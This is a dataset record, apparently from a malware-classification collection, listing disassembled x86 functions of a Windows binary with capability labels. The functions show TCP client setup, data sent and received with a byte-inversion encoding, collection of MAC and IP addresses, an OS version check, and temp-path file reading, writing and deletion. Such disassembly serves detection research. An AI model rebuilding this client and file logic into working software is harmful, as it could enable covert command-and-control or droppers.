joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4012e0
Capabilities:
Create thread
Initialize winsock library

Disassembly:
sub esp, 0x1dc
mov eax, dword [0x41704c]
xor eax, esp
mov dword [esp + 0x1d4], eax
push ebx
push edi
xor eax, eax
push 0x3e
push eax
lea ecx, [esp + 0x1a2]
push ecx
mov word [esp + 0x1a4], ax
call fcn.00408070
add esp, 0xc
lea edi, [esp + 0x198]
call fcn.004033ce
xor eax, eax
movzx ecx, word [esp + eax + 0x198]
mov word [eax + 0x418df0], cx
add eax, 2
test cx, cx
jne 0x401321
push 0x418df0
push 0
push 0x20000
call dword [sym.imp.KERNEL32.dll_OpenEventW]
test eax, eax
je 0x40136e
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
pop edi
pop ebx
mov ecx, dword [esp + 0x1d4]
xor ecx, esp
call fcn.00404553
add esp, 0x1dc
ret
push 0x418df0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventW]
test eax, eax
je 0x401355
lea edx, [esp + 8]
push edx
push 0x101
call dword [sym.imp.WS2_32.dll_WSAStartup]
mov ebx, 0x4197c0
call fcn.00401d10
test eax, eax
jne 0x401440
jmp 0x4013b0
movzx ecx, word [eax + 0x414e44]
mov word [eax + 0x419968], cx
add eax, 2
test cx, cx
jne 0x4013b0
push 0x414e50
push 0x40
push 0x4197c4
call fcn.004045df
add esp, 0xc
push 0x414e70
push 0x10
push 0x419846
call fcn.004045df
add esp, 0xc
push 0x414e7c
push 0x40
push 0x419866
call fcn.004045df
mov eax, 0x51
mov ecx, 0x2b8e
add esp, 0xc
mov word [0x419844], ax
mov word [0x4198e6], cx
xor eax, eax
jmp 0x401420
movzx ecx, word [eax + 0x414e9c]
mov word [eax + 0x419948], cx
add eax, 2
test cx, cx
jne 0x401420
mov dword [0x419988], 5
call fcn.0040345c
push 0x414eac
call fcn.004034e5
add esp, 4
mov dword [0x419688], eax
call fcn.00401930
push 0
push 0
push 0
push 0x401740
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, dword [esp + 0x1dc]
pop edi
pop ebx
xor ecx, esp
mov eax, 1
call fcn.00404553
add esp, 0x1dc
ret
Function at 0x401800
Capabilities:
Check if file exists
Get common file path
Get file attributes

Disassembly:
sub esp, 0x41c
mov eax, dword [0x41704c]
xor eax, esp
mov dword [esp + 0x414], eax
push ebp
push esi
push ebx
mov ecx, edi
call fcn.00403a3f
mov ebp, eax
add esp, 4
test ebp, ebp
jne 0x40190f
push 0x206
push eax
lea ecx, [esp + 0x12]
push ecx
mov word [esp + 0x14], ax
call fcn.00408070
add esp, 0xc
xor edx, edx
push 0x206
push edx
lea eax, [esp + 0x21a]
push eax
mov word [esp + 0x21c], dx
call fcn.00408070
add esp, 0xc
lea ecx, [esp + 8]
push ecx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
mov esi, 0x418e30
cmp word [esi], 0
je 0x4018ae
lea edx, [esp + 8]
push edx
lea eax, [esp + 0x214]
push 0x104
push eax
call fcn.004045df
add esp, 0xc
push esi
lea ecx, [esp + 0x214]
push 0x104
push ecx
call fcn.00404562
add esp, 0xc
add esi, 0x118
cmp esi, 0x4193a8
jl 0x401878
mov esi, 0x418e30
cmp word [esi], 0
je 0x4018d3
push ebx
push edi
mov ecx, esi
call fcn.00404221
add esp, 8
add esi, 0x118
cmp esi, 0x4193a8
jl 0x4018c1
push 0x419bc0
lea edx, [esp + 0xc]
push 0x104
push edx
call fcn.00404562
add esp, 0xc
lea eax, [esp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
jne 0x40190d
mov ebp, 2
mov eax, ebp
mov ecx, dword [esp + 0x41c]
pop esi
pop ebp
xor ecx, esp
call fcn.00404553
add esp, 0x41c
ret
Function at 0x401ab0
Capabilities:
Check if file exists
Get file attributes

Disassembly:
sub esp, 0x414
mov eax, dword [0x41704c]
xor eax, esp
mov dword [esp + 0x410], eax
push ebx
push esi
push edi
xor eax, eax
push 0x206
push eax
lea ecx, [esp + 0x21e]
push ecx
xor ebx, ebx
mov word [esp + 0x220], ax
call fcn.00408070
xor edx, edx
push 0x206
push edx
lea eax, [esp + 0x22]
push eax
mov word [esp + 0x24], dx
call fcn.00408070
add esp, 0x18
push 0x104
lea ecx, [esp + 0x218]
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemWindowsDirectoryW]
mov esi, dword [sym.imp.USER32.dll_wsprintfW]
push 0x415038
lea eax, [esp + 0x218]
push eax
lea ecx, [esp + 0x14]
xor edx, edx
push 0x41507c
push ecx
mov word [esp + 0x228], dx
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
add esp, 0x10
lea edx, [esp + 0xc]
push edx
call edi
cmp eax, 0xffffffff
je 0x401b56
mov ebx, 1
push 0x415088
lea eax, [esp + 0x218]
push eax
lea ecx, [esp + 0x14]
push 0x4150d0
push ecx
call esi
add esp, 0x10
lea edx, [esp + 0xc]
push edx
call edi
cmp eax, 0xffffffff
je 0x401b81
or ebx, 2
push 0x4150e0
lea eax, [esp + 0x218]
push eax
lea ecx, [esp + 0x14]
push 0x41512c
push ecx
call esi
add esp, 0x10
lea edx, [esp + 0xc]
push edx
call edi
cmp eax, 0xffffffff
je 0x401bac
or ebx, 4
push 0x415138
lea eax, [esp + 0x218]
push eax
lea ecx, [esp + 0x14]
push 0x41518c
push ecx
call esi
add esp, 0x10
lea edx, [esp + 0xc]
push edx
call edi
cmp eax, 0xffffffff
je 0x401bda
or ebx, 0x100
push 0x415198
lea eax, [esp + 0x218]
push eax
lea ecx, [esp + 0x14]
push 0x4151ec
push ecx
call esi
add esp, 0x10
lea edx, [esp + 0xc]
push edx
call edi
cmp eax, 0xffffffff
je 0x401c08
or ebx, 0x200
push 0x4151f8
lea eax, [esp + 0x218]
push eax
lea ecx, [esp + 0x14]
push 0x415258
push ecx
call esi
add esp, 0x10
lea edx, [esp + 0xc]
push edx
call edi
cmp eax, 0xffffffff
je 0x401c36
or ebx, 0x400
mov ecx, dword [esp + 0x41c]
pop edi
mov eax, ebx
pop esi
pop ebx
xor ecx, esp
or eax, 0x2000000
call fcn.00404553
add esp, 0x414
ret
Function at 0x401db0
Capabilities:
Get common file path
Read file on windows

Disassembly:
sub esp, 0x210
mov eax, dword [0x41704c]
xor eax, esp
mov dword [esp + 0x20c], eax
push ebx
xor ebx, ebx
cmp edi, ebx
je 0x401ec3
cmp esi, ebx
je 0x401ec3
mov eax, esi
lea edx, [eax + 2]
lea esp, [esp]
mov cx, word [eax]
add eax, 2
cmp cx, bx
jne 0x401de0
sub eax, edx
sar eax, 1
je 0x401ec3
push 0x206
lea ecx, [esp + 0xe]
xor eax, eax
push ebx
push ecx
mov word [esp + 0x14], ax
call fcn.00408070
add esp, 0xc
cmp dword [esp + 0x218], ebx
jne 0x401e4a
cmp dword [0x418070], 3
jne 0x401e4a
push 0x104
lea eax, [esp + 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
push 0x414c5c
lea ecx, [esp + 0xc]
push 0x104
push ecx
call fcn.00404562
add esp, 0xc
jmp 0x401e5a
lea edx, [esp + 8]
push edx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
push esi
lea eax, [esp + 0xc]
push 0x104
push eax
call fcn.00404562
push 0x414c60
lea ecx, [esp + 0x18]
push ecx
lea edx, [esp + 0x18]
push edx
mov dword [esp + 0x1c], ebx
call fcn.004048b4
mov eax, dword [esp + 0x1c]
add esp, 0x18
cmp eax, ebx
je 0x401ec3
push eax
push 1
push 0x200
push edi
call fcn.00404ba7
mov eax, dword [esp + 0x14]
push eax
call fcn.00404c3b
add esp, 0x14
mov eax, 1
pop ebx
mov ecx, dword [esp + 0x20c]
xor ecx, esp
call fcn.00404553
add esp, 0x210
ret
mov ecx, dword [esp + 0x210]
mov eax, ebx
pop ebx
xor ecx, esp
call fcn.00404553
add esp, 0x210
ret

Function at 0x401f80
Capabilities:
Get common file path
Write file on windows

Disassembly:
sub esp, 0x210
mov eax, dword [0x41704c]
xor eax, esp
mov dword [esp + 0x20c], eax
push edi
push 0x206
xor edi, edi
lea ecx, [esp + 0xe]
xor eax, eax
push edi
push ecx
mov word [esp + 0x14], ax
call fcn.00408070
add esp, 0xc
mov dword [esp + 4], edi
cmp esi, edi
je 0x402032
lea edx, [esp + 8]
push edx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
push 0x414c80
lea eax, [esp + 0xc]
push 0x104
push eax
call fcn.00404562
push 0x414c9c
lea ecx, [esp + 0x18]
push ecx
lea edx, [esp + 0x18]
push edx
call fcn.004048b4
mov eax, dword [esp + 0x1c]
add esp, 0x18
cmp eax, edi
je 0x402017
push eax
push 1
push 0x200
push esi
call fcn.00404e19
mov eax, dword [esp + 0x14]
push eax
call fcn.00404c3b
add esp, 0x14
mov eax, 1
pop edi
mov ecx, dword [esp + 0x20c]
xor ecx, esp
call fcn.00404553
add esp, 0x210
ret
mov ecx, dword [esp + 0x210]
mov eax, edi
pop edi
xor ecx, esp
call fcn.00404553
add esp, 0x210
ret
Function at 0x402900
Capabilities:
Delete file
Get common file path

Disassembly:
sub esp, 0x414
mov eax, dword [0x41704c]
xor eax, esp
mov dword [esp + 0x40c], eax
push ebx
push esi
xor eax, eax
push 0x206
push eax
lea ecx, [esp + 0x212]
push ecx
mov word [esp + 0x214], ax
call fcn.00408070
add esp, 0xc
push 0x200
xor esi, esi
lea edx, [esp + 0xc]
push esi
push edx
call fcn.00408070
add esp, 0xc
lea ebx, [esp + 8]
call fcn.00401ee0
test eax, eax
je 0x402a6a
xor eax, eax
mov edi, edi
movzx ecx, word [eax + 0x414df0]
mov word [eax + 0x4194b8], cx
add eax, 2
test cx, cx
jne 0x402960
xor eax, eax
jmp 0x402980
movzx ecx, word [esp + eax + 0x8e]
mov word [eax + 0x4193b0], cx
add eax, 2
test cx, cx
jne 0x402980
xor eax, eax
lea esp, [esp]
movzx ecx, word [esp + eax + 0xc]
mov word [eax + 0x419430], cx
add eax, 2
test cx, cx
jne 0x4029a0
cmp dword [0x418070], 3
mov ax, word [esp + 0x8c]
mov cx, word [esp + 0x12e]
mov word [0x4194b0], ax
mov word [0x419538], cx
mov dword [0x41953c], 5
je 0x4029f9
lea edx, [esp + 0x208]
push edx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
jmp 0x402a26
push 0x104
lea eax, [esp + 0x20c]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
push 0x4152a8
lea ecx, [esp + 0x20c]
push 0x104
push ecx
call fcn.00404562
add esp, 0xc
push 0x414e10
lea edx, [esp + 0x20c]
push 0x104
push edx
call fcn.00404562
add esp, 0xc
lea eax, [esp + 0x208]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov eax, 1
pop esi
pop ebx
mov ecx, dword [esp + 0x40c]
xor ecx, esp
call fcn.00404553
add esp, 0x414
ret
mov ecx, dword [esp + 0x414]
mov eax, esi
pop esi
pop ebx
xor ecx, esp
call fcn.00404553
add esp, 0x414
ret

Function at 0x402a83
Capabilities:
Check os version

Disassembly:
push ebp
lea ebp, [esp - 0xa0]
sub esp, 0x120
mov eax, dword [0x41704c]
xor eax, ebp
mov dword [ebp + 0x9c], eax
and dword [0x418070], 0
push 0x11c
lea eax, [ebp - 0x80]
push 0
push eax
call fcn.00408070
add esp, 0xc
lea eax, [ebp - 0x80]
push eax
mov dword [ebp - 0x80], 0x11c
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
test eax, eax
je 0x402b0d
mov eax, dword [ebp - 0x78]
push 5
pop ecx
cmp dword [ebp - 0x7c], ecx
jne 0x402aec
cmp eax, 2
jae 0x402ae2
cmp eax, 1
jne 0x402b0d
mov dword [0x418070], 3
cmp dword [ebp - 0x7c], 6
jne 0x402b0d
test eax, eax
jne 0x402b02
mov dword [0x418070], 4
jmp 0x402b0d
cmp eax, 1
jne 0x402b0d
mov dword [0x418070], ecx
mov ecx, dword [ebp + 0x9c]
xor ecx, ebp
call fcn.00404553
add ebp, 0xa0
leave
ret
Function at 0x402b22
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20c
mov eax, dword [0x41704c]
xor eax, ebp
mov dword [ebp - 4], eax
xor eax, eax
push 0x206
push eax
mov word [ebp - 0x20c], ax
lea eax, [ebp - 0x20a]
push eax
call fcn.00408070
add esp, 0xc
cmp dword [0x418070], 3
lea eax, [ebp - 0x20c]
jne 0x402b88
push esi
mov esi, 0x104
push esi
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
push 0x4152a8
lea eax, [ebp - 0x20c]
push esi
push eax
call fcn.00404562
add esp, 0xc
pop esi
jmp 0x402b94
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
push edi
lea eax, [ebp - 0x20c]
push eax
push 0x4152ac
push ebx
call dword [sym.imp.USER32.dll_wsprintfW]
mov ecx, dword [ebp - 4]
xor ecx, ebp
add esp, 0x10
call fcn.00404553
leave
ret

Function at 0x402d1a
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x218
mov eax, dword [0x41704c]
xor eax, ebp
mov dword [ebp - 4], eax
and dword [ebp - 0x214], 0
xor eax, eax
push 0x206
push eax
mov word [ebp - 0x210], ax
lea eax, [ebp - 0x20e]
push eax
call fcn.00408070
add esp, 0xc
push 0x104
lea eax, [ebp - 0x210]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
lea eax, [ebp - 0x214]
push eax
movzx eax, word [ebp - 0x210]
sub eax, 0x41
push eax
call fcn.00402ea2
push dword [ebp - 0x214]
call fcn.00402f8f
add esp, 0xc
cmp eax, 0xffffffff
jne 0x402d92
xor eax, eax
jmp 0x402d99
push esi
call fcn.00402c52
pop ecx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00404553
leave
ret

Function at 0x402e55
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push edi
xor edx, edx
xor eax, eax
cmp dword [ebp + 8], 0xffffffff
mov dword [ebp - 0x18], edx
lea edi, [ebp - 0x14]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
mov dword [ebp - 4], edx
je 0x402e9d
mov eax, dword [ebp + 0xc]
mov edx, 0x200
mul edx
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 4]
push eax
shl ecx, 9
push ecx
push dword [ebp + 0x10]
mov dword [ebp - 0xc], edx
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov edx, eax
mov eax, edx
pop edi
leave
ret
Function at 0x403086
Capabilities:
Read file on windows
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push edi
push 0x415328
push dword [ebp + 8]
mov ebx, eax
lea eax, [ebp - 4]
xor edi, edi
push eax
mov dword [ebp - 4], edi
call fcn.004048b4
add esp, 0xc
test eax, eax
je 0x4030b3
xor eax, eax
jmp 0x40313e
push esi
push 2
push edi
push dword [ebp - 4]
call fcn.004053fe
push dword [ebp - 4]
call fcn.00405620
push edi
push edi
push dword [ebp - 4]
mov esi, eax
call fcn.004053fe
lea eax, [esi + ebx]
push eax
mov dword [ebp - 8], eax
call fcn.0040521c
push dword [ebp - 4]
mov edi, eax
push 1
push esi
push edi
call fcn.00404ba7
push dword [ebp - 4]
call fcn.00404c3b
push ebx
lea ebx, [edi + esi]
call fcn.00403142
push 0x415330
push dword [ebp + 0xc]
lea eax, [ebp - 4]
push eax
call fcn.004048b4
add esp, 0x44
pop esi
test eax, eax
jne 0x4030ac
push dword [ebp - 4]
push 1
push dword [ebp - 8]
push edi
call fcn.00404e19
push dword [ebp - 4]
call fcn.00404c3b
add esp, 0x14
test edi, edi
je 0x40313b
push edi
call fcn.004052e6
pop ecx
xor eax, eax
inc eax
pop edi
pop ebx
leave
ret
Function at 0x403643
Capabilities:
Get local ipv4 addresses
Get mac address on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push esi
xor esi, esi
push edi
mov dword [ebp - 8], esi
mov dword [ebp - 0xc], 0x3a98
push dword [ebp - 0xc]
push esi
call ebx
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov dword [ebp - 4], eax
cmp eax, esi
je 0x4036c2
lea ecx, [ebp - 0xc]
push ecx
push eax
push esi
push 0x10
push 2
call sub.IPHLPAPI.DLL_GetAdaptersAddresses
mov edi, eax
cmp edi, 0x6f
jne 0x403698
push dword [ebp - 4]
push esi
call ebx
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov dword [ebp - 4], esi
inc dword [ebp - 8]
cmp edi, 0x6f
jne 0x4036c7
cmp dword [ebp - 8], 3
jb 0x40365e
push 0xfffffffffffffffd
pop edi
cmp dword [ebp - 4], esi
je 0x4036bb
push dword [ebp - 4]
push esi
call ebx
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov eax, edi
pop edi
pop esi
pop ebx
leave
ret
or edi, 0xffffffff
jmp 0x4036bb
cmp edi, esi
jne 0x4036a6
mov eax, dword [ebp - 4]
jmp 0x4036de
cmp dword [eax + 0x34], 6
jne 0x4036db
cmp dword [eax + 0x1c], esi
jne 0x4036e4
mov eax, dword [eax + 8]
cmp eax, esi
jne 0x4036d0
jmp 0x403721
mov edi, dword [ebp + 8]
lea esi, [eax + 0x2c]
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
mov ecx, dword [eax + 0x10]
mov ecx, dword [ecx + 0xc]
mov cl, byte [ecx + 4]
mov esi, dword [ebp + 0xc]
mov byte [esi + 3], cl
mov ecx, dword [eax + 0x10]
mov ecx, dword [ecx + 0xc]
mov cl, byte [ecx + 5]
mov byte [esi + 2], cl
mov ecx, dword [eax + 0x10]
mov ecx, dword [ecx + 0xc]
mov cl, byte [ecx + 6]
mov byte [esi + 1], cl
mov eax, dword [eax + 0x10]
mov eax, dword [eax + 0xc]
mov al, byte [eax + 7]
mov byte [esi], al
xor esi, esi
xor edi, edi
jmp 0x4036a9
Function at 0x403913
Capabilities:
Check if file exists
Get common file path
Get file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x428
mov eax, dword [0x41704c]
xor eax, ebp
mov dword [ebp - 8], eax
push ebx
push esi
push edi
push dword [ebp + 8]
mov dword [ebp - 0x424], ecx
call fcn.00403a3f
pop ecx
mov dword [ebp - 0x420], eax
test eax, eax
jne 0x403a30
mov esi, 0x206
push esi
push eax
mov word [ebp - 0x214], ax
lea eax, [ebp - 0x212]
push eax
call fcn.00408070
add esp, 0xc
xor eax, eax
push esi
push eax
mov word [ebp - 0x41c], ax
lea eax, [ebp - 0x41a]
push eax
call fcn.00408070
add esp, 0xc
lea eax, [ebp - 0x214]
push eax
mov esi, 0x104
push esi
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
mov edi, 0x418e30
mov ebx, edi
cmp word [ebx], 0
je 0x4039c5
lea eax, [ebp - 0x214]
push eax
lea eax, [ebp - 0x41c]
push esi
push eax
call fcn.004045df
add esp, 0xc
push ebx
lea eax, [ebp - 0x41c]
push esi
push eax
call fcn.00404562
add esp, 0xc
add ebx, 0x118
cmp ebx, 0x4193a8
jl 0x403997
cmp word [edi], 0
je 0x4039eb
push dword [ebp + 8]
mov ecx, edi
push dword [ebp - 0x424]
call fcn.00404221
pop ecx
pop ecx
add edi, 0x118
cmp edi, 0x4193a8
jl 0x4039d3
push 0x419bc0
lea eax, [ebp - 0x214]
push esi
push eax
call fcn.00404562
add esp, 0xc
lea eax, [ebp - 0x214]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
jne 0x403a2a
mov dword [ebp - 0x420], 2
mov eax, dword [ebp - 0x420]
mov ecx, dword [ebp - 8]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00404553
leave
ret

Function at 0x403c74
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Initialize winsock library
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x9b0
mov eax, dword [0x41704c]
xor eax, ebp
mov dword [ebp - 8], eax
push ebx
xor ebx, ebx
lea eax, [ebp - 0x80c]
cmp ecx, ebx
je 0x403c96
mov eax, ecx
xor ecx, ecx
mov word [eax], cx
lea eax, [ebp - 0x9ac]
push eax
push 0x101
mov dword [ebp - 0x9b0], ebx
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
je 0x403cbe
xor eax, eax
jmp 0x403d50
push 6
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov dword [esi], eax
cmp eax, 0xffffffff
je 0x403cb7
push edi
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
jne 0x403cfe
push edi
call dword [sym.imp.WS2_32.dll_inet_addr]
push 2
mov dword [ebp - 0x9b0], eax
push 4
lea eax, [ebp - 0x9b0]
push eax
call dword [sym.imp.WS2_32.dll_gethostbyaddr]
test eax, eax
je 0x403d3f
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov eax, dword [eax]
push 2
mov dword [ebp - 0x818], eax
pop eax
push dword [ebp + 8]
mov word [ebp - 0x81c], ax
call dword [sym.imp.WS2_32.dll_htons]
mov word [ebp - 0x81a], ax
push 0x10
lea eax, [ebp - 0x81c]
push eax
push dword [esi]
call dword [sym.imp.WS2_32.dll_connect]
test eax, eax
jne 0x403d3f
xor ebx, ebx
inc ebx
jmp 0x403d4e
mov eax, dword [esi]
test eax, eax
je 0x403d4e
push eax
call dword [sym.imp.WS2_32.dll_closesocket]
and dword [esi], ebx
mov eax, ebx
mov ecx, dword [ebp - 8]
xor ecx, ebp
pop ebx
call fcn.00404553
leave
ret
Function at 0x403e89
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, dword [ebp + 8]
xor ecx, ecx
push ebx
mov dword [ebp - 8], ecx
cmp dword [eax], ecx
je 0x403f06
push esi
mov esi, dword [ebp + 0x10]
cmp esi, ecx
push edi
jle 0x403eb0
mov eax, dword [ebp + 0xc]
add eax, ecx
not byte [eax]
inc ecx
cmp ecx, esi
jl 0x403ea4
lea eax, [esi + 7]
push eax
mov dword [ebp - 4], eax
call fcn.0040586f
push dword [ebp + 0x10]
mov ebx, eax
push dword [ebp + 0xc]
add esi, 5
mov word [ebx], si
lea edi, [ebx + 2]
mov esi, 0x418074
movsd dword es:[edi], dword [esi]
lea eax, [ebx + 7]
push eax
movsb byte es:[edi], byte [esi]
call fcn.00408c30
mov eax, dword [ebp + 8]
add esp, 0x10
push 0
push dword [ebp - 4]
push ebx
push dword [eax]
call dword [sym.imp.WS2_32.dll_send]
pop edi
pop esi
cmp eax, 0xffffffff
je 0x403f09
cmp eax, dword [ebp - 4]
jne 0x403f09
mov dword [ebp - 8], 1
jmp 0x403f09
mov ebx, dword [ebp + 8]
test ebx, ebx
je 0x403f14
push ebx
call fcn.00405c3a
pop ecx
mov eax, dword [ebp - 8]
pop ebx
leave
ret

Function at 0x4040ad
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebp
lea ebp, [esp - 0x70]
sub esp, 0x8e0
mov eax, dword [0x41704c]
xor eax, ebp
mov dword [ebp + 0x6c], eax
mov eax, dword [ebp + 0x7c]
push ebx
push esi
push edi
mov edi, dword [ebp + 0x78]
xor ebx, ebx
mov dword [ebp - 0x870], eax
mov dword [ebp - 0x86c], ecx
mov dword [ebp - 0x868], edi
lea eax, [ebp - 0x85c]
cmp edx, ebx
je 0x4040eb
mov eax, edx
xor edx, edx
mov word [eax], dx
mov esi, dword [ecx]
mov dword [ebp - 0x864], ebx
cmp esi, ebx
je 0x404209
cmp edi, ebx
je 0x404209
push 0xc7
lea eax, [ebp - 0x5b]
push ebx
push eax
mov byte [ebp - 0x5c], dl
call fcn.00408070
add esp, 0xc
push ebx
push 2
lea eax, [ebp - 0x5c]
push eax
push esi
mov esi, dword [sym.imp.WS2_32.dll_recv]
call esi
cmp eax, 0xffffffff
je 0x404209
cmp eax, ebx
je 0x404209
movzx edi, word [ebp - 0x5c]
lea eax, [edi + 2]
push eax
call fcn.0040586f
pop ecx
mov dword [ebp - 0x860], eax
test edi, edi
jle 0x4041f4
push 0
mov eax, edi
sub eax, ebx
push eax
mov eax, dword [ebp - 0x860]
add eax, ebx
push eax
mov eax, dword [ebp - 0x86c]
push dword [eax]
call esi
cmp eax, 0xffffffff
je 0x4041d2
test eax, eax
je 0x4041d2
add ebx, eax
cmp edi, ebx
jg 0x40415a
push 5
pop ecx
cmp ebx, ecx
jl 0x4041f4
mov edi, dword [ebp - 0x860]
sub ebx, ecx
mov esi, 0x418074
xor eax, eax
repe cmpsb byte [esi], byte es:[edi]
jne 0x4041f4
mov ecx, dword [ebp - 0x860]
test ebx, ebx
jle 0x4041b2
lea eax, [ecx + 5]
mov edx, ebx
not byte [eax]
inc eax
dec edx
jne 0x4041ac
mov esi, dword [ebp - 0x870]
mov eax, dword [esi]
add ecx, 5
cmp eax, ebx
jl 0x4041da
push ebx
push ecx
push dword [ebp - 0x868]
call fcn.00408c30
mov dword [esi], ebx
jmp 0x4041e7
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
jmp 0x4041f4
push eax
push ecx
push dword [ebp - 0x868]
call fcn.00408c30
add esp, 0xc
mov dword [ebp - 0x864], 1
cmp dword [ebp - 0x860], 0
je 0x404209
push dword [ebp - 0x860]
call fcn.00405c3a
pop ecx
mov ecx, dword [ebp + 0x6c]
mov eax, dword [ebp - 0x864]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00404553
add ebp, 0x70
leave
ret
Function at 0x404221
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xe2c
mov eax, dword [0x41704c]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
push esi
push edi
push 0x400
mov dword [ebp - 0xe28], eax
lea eax, [ebp - 0x610]
push 0
push eax
mov ebx, ecx
call fcn.00408070
add esp, 0xc
push ebx
lea eax, [ebp - 0x610]
push 0x1ff
push eax
call fcn.004045df
mov eax, ebx
add esp, 0xc
lea ecx, [eax + 2]
mov dx, word [eax]
inc eax
inc eax
test dx, dx
jne 0x404272
sub eax, ecx
sar eax, 1
lea edi, [ebp + eax*2 - 0x60e]
mov ecx, pe_nt_image_headers32
mov esi, 0x4199c0
mov eax, ebx
rep movsd dword es:[edi], dword [esi]
lea ecx, [eax + 2]
mov dx, word [eax]
inc eax
inc eax
test dx, dx
jne 0x404298
sub eax, ecx
sar eax, 1
mov esi, 0x10000
push esi
lea ebx, [eax + eax + 0x202]
call fcn.0040521c
pop ecx
push esi
xor edi, edi
push edi
push eax
mov dword [ebp - 0xe1c], eax
call fcn.00408070
add esp, 0xc
xor eax, eax
push 0x7fe
mov word [ebp - 0xe10], ax
lea eax, [ebp - 0xe0e]
push edi
push eax
mov dword [ebp - 0xe24], esi
call fcn.00408070
add esp, 0xc
xor eax, eax
push 0x206
mov word [ebp - 0x210], ax
lea eax, [ebp - 0x20e]
push edi
push eax
mov dword [ebp - 0xe18], edi
mov dword [ebp - 0xe20], edi
mov dword [ebp - 0xe14], edi
call fcn.00408070
add esp, 0xc
lea eax, [ebp - 0x210]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
push dword [ebp + 0xc]
mov edi, dword [ebp - 0xe28]
lea ecx, [ebp - 0xe10]
lea esi, [ebp - 0xe18]
call fcn.00403c74
pop ecx
test eax, eax
je 0x404427
push ebx
lea eax, [ebp - 0x610]
push eax
mov esi, 0xbba
push esi
lea ecx, [ebp - 0xe10]
lea edx, [ebp - 0xe18]
call fcn.00403d5d
add esp, 0xc
test eax, eax
je 0x404427
push dword [ebp - 0xe1c]
lea eax, [ebp - 0xe14]
push eax
lea edx, [ebp - 0xe10]
lea ebx, [ebp - 0xe24]
lea ecx, [ebp - 0xe18]
call fcn.00403f1a
pop ecx
pop ecx
test eax, eax
je 0x404427
cmp word [ebp - 0xe14], si
jne 0x404427
cmp dword [ebp - 0xe24], 0
je 0x404427
mov eax, dword [ebp - 0xe1c]
cmp byte [eax], 0
jne 0x404427
push 0x419bc0
lea eax, [ebp - 0x210]
push 0x104
push eax
call fcn.00404562
and dword [ebp - 0xe14], 0
add esp, 0xc
push 0x415330
lea eax, [ebp - 0x210]
push eax
lea eax, [ebp - 0xe14]
push eax
call fcn.004048b4
add esp, 0xc
cmp dword [ebp - 0xe14], 0
je 0x40441d
lea eax, [ebp - 0xe14]
push eax
lea edi, [ebp - 0xe18]
call fcn.00404466
pop ecx
mov dword [ebp - 0xe20], 1
cmp dword [ebp - 0xe1c], 0
je 0x40443c
push dword [ebp - 0xe1c]
call fcn.004052e6
pop ecx
cmp dword [ebp - 0xe18], 0
je 0x404451
push dword [ebp - 0xe18]
call dword [sym.imp.WS2_32.dll_closesocket]
mov ecx, dword [ebp - 4]
mov eax, dword [ebp - 0xe20]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00404553
leave
ret